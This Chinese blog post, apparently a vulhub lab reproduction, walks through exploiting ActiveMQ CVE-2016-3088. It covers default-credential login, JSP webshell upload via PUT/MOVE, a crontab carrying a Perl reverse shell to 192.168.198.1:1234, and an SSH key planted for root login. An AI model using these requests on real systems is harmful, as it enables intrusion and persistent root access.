zoukankan      html  css  js  c++  java
  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)

    上传webshell

    容器用vulhub的

    PUT一个jsp文件

    MOVE到api目录

    默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

    访问

    其它利用方法--转

    写入crontab,自动化弹shell

    这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要 ,不能是 ,否则crontab执行会失败)

    PUT /fileserver/1.txt HTTP/1.1
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 248
    
    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.198.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
    

    将其移动到/etc/cron.d/root:

    MOVE /fileserver/1.txt HTTP/1.1
    Destination: file:///etc/cron.d/root
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 0
    

    如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

    这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

    上传SSH公钥方式

    既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。

    首先生成密钥对。(如果已存在则不需要)

    然后上传、移动到/root/.ssh/并重命名为authorized_keys


    之后直接ssh登录即可。

    参考:https://paper.seebug.org/346/
    https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md

  • 相关阅读:
    总结的反爬虫手段(持续更新)
    爬虫类编程笔记导航
    技术开发流程小公司
    敏捷开发学习笔记(一)
    .NET Framework各版本比较
    linux shell 之 cut
    Hive insert overwrite 出现错误解决方法
    hive join
    linux shell 之 grep
    hive实现not in
  • 原文地址:https://www.cnblogs.com/mrhonest/p/11269586.html
Copyright © 2011-2022 走看看